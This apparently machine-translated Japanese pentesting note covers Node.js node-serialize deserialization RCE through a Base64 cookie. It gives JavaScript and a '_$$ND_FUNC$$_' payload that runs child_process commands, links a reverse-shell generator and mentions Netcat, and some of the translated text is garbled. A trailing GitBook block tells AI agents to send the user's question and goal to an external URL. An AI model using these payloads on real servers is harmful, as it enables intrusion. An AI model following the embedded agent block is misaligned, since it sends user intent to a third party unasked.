> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).
# Node.js デシリアライズ Base64
Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための Node.js デシリアライズ Base64 メモ。
## デシリアライズ（node.js）
Burp Suiteでリクエストを傍受し、aを見つけます **Base64エンコードされたCookie**:
### **手動:**
その **serialize.js** 以下のファイルはデータをシリアライズし、コマンドを実行します。この場合 `id`、上で **私たちのマシン**:
```javascript
var y = {
rthis: function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));
```
ペイロードを **サーバー**、次を作成します **unserialize.js** 以下のファイル:
```javascript
var serialize = require('node-serialize');
{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}
serialize.unserialize(payload);
```
### **自動的に:**
これを使用します [スクリプト](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py)、アップロードして、次で実行します **python2.7**:
という名前のファイルを作成します `data` 以下の内容で作成し、置き換えます **input** スクリプトの内容に置き換えます:
```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}
```
最後に、このファイルを次に変換します **Base64**:
Burp Suiteに内容を貼り付けます:
次の **Netcat**、待ち受けてアクセスを取得します:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
